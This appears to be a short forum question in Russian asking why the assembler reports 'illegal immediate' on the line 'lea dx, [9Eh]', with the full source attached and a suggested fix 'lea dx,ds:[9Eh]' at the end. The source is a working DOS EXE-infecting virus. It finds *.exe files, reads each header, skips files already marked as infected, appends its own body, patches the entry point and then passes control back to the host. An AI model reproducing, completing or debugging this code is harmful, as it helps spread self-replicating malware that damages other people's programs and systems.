Ошибка illegal immediate в строке lea dx, [9Eh]

.model small
.code
start:
push cs
pop ds
fresh_bytes:
push es
pop ax
add ax,10h
add ax,ds:old_cs
push ax
mov ax,ds:old_ip
push ax
find_first:
mov ah,4eh
xor cx,cx
lea dx,fmask
findfirstnext:
int 21h
jc exit
open:
push es
pop ds
mov ax,3d02h
lea dx,[9Eh]
int 21h
push cs
pop ds
jc find_next
save_bytes:
xchg bx,ax
mov ah,03fh
mov cx,1Ah
lea dx,header
int 21h
jc find_next
proverka:
cmp byte ptr ds:[header+13h],'3'
jz find_next
mov ax,word ptr ds:[header+14h]
mov ds:old_ip,ax
mov ax,word ptr ds:[header+16h]
mov ds:old_cs,ax
call calculate_header
write_vir:
mov ax,4200h
int 21h
jc find_next 
mov ah,40h
mov cx,vir_len
lea dx,start
int 21h
jc find_next
write_header:
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc find_next
mov ah,40h
mov cx,1Ah
lea dx,header
int 21h
find_next:
mov ah,3eh
int 21h
mov ah,4fh
jmp findfirstnext
exit:
push es
pop ds
retf
calculate_header proc
mov byte ptr ds:[header+13h],'3'
mov ax,word ptr es:[9Ah]
mov dx,word ptr es:[9Ch]
or ax,0000Fh
inc ax 
adc dx,0
push ax
push dx
push ax
mov cx,10h
div cx
sub ax,word ptr ds:[header+8]
mov word ptr ds:[header+14h],dx
mov word ptr ds:[header+16h],ax
pop ax
and ah,1
add ax,vir_len
cmp ax,512
jb ok
Sub ax,512
mov dx,word ptr ds:[header+4]
inc dx
mov word ptr ds:[header+4],dx
ok:
mov word ptr ds:[header+2],ax
Pop cx
pop dx
ret
calculate_header endp
Exe_end:
mov ax,4C00h
int 21h
Old_ip dw offset exe_end
old_cs dw 0
fmask db '*.exe',0
header equ $
vir_len equ $-start 
end start

lea dx,ds:[9Eh]